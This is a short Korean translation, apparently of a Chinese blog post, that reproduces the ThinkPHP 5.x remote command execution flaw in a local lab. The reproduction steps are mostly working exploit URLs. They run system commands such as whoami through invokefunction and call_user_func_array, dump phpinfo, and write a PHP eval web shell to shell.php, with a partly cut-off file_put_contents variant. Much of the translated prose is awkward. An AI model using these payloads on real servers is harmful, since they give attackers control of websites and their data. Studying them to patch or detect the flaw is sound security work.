>  기사  >  PHP 프레임워크  >  thinkphp 원격 명령 실행 취약점

thinkphp 원격 명령 실행 취약점

尚
앞으로
2020-05-08 09:16:124385검색

thinkphp 원격 명령 실행 취약점

취약점 개요

ThinkPHP는 국내에서 널리 사용되는 오픈소스 PHP 프레임워크로, 공격자가 캐시 파일에 PHP 코드를 작성하여 원격 코드로 이어질 수 있는 가능성이 최근 밝혀졌습니다. 실행.

이 취약점을 악용하려면 몇 가지 전제 조건이 필요하지만 ThinkPHP 프레임워크를 사용하는 국내 사이트가 많기 때문에 이 취약점은 여전히 ​​일정한 범위의 영향을 미칩니다. 프레임워크는 컨트롤러 이름에 대해 충분한 감지를 수행하지 않기 때문에 강제 라우팅이 활성화되지 않은 경우 getshell 취약점이 발생할 수 있습니다.

취약점의 위험

공격자는 이 취약점을 통해 웹사이트에 대한 제어권을 얻을 수 있으며, 페이지를 수정하여 데이터 유출 및 기타 문제를 일으킬 수 있습니다.

영향을 받는 버전

5.x

재생 환경

phpstudy 통합 환경(php5.6n+apache+mysql)

재생 프로세스

1. 먼저 그림과 같이 환경을 설정합니다

thinkphp 원격 명령 실행 취약점

2. 시스템 기능을 사용하여 원격 명령을 실행합니다.

http://localhost/thinkphp5.1/html/public/index .php ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

thinkphp 원격 명령 실행 취약점

3 phpinfo 함수를 통해 phpinfo()의 정보를 작성합니다.

http: //localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

thinkphp 원격 명령 실행 취약점

4. 쓰기 셸 입력:

http://localhost/thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo %20^% 3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

thinkphp 원격 명령 실행 취약점

또는

http://localhost/thinkphp5.1/html /public/index .php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

추천 튜토리얼: "TP5"

위 내용은 thinkphp 원격 명령 실행 취약점의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제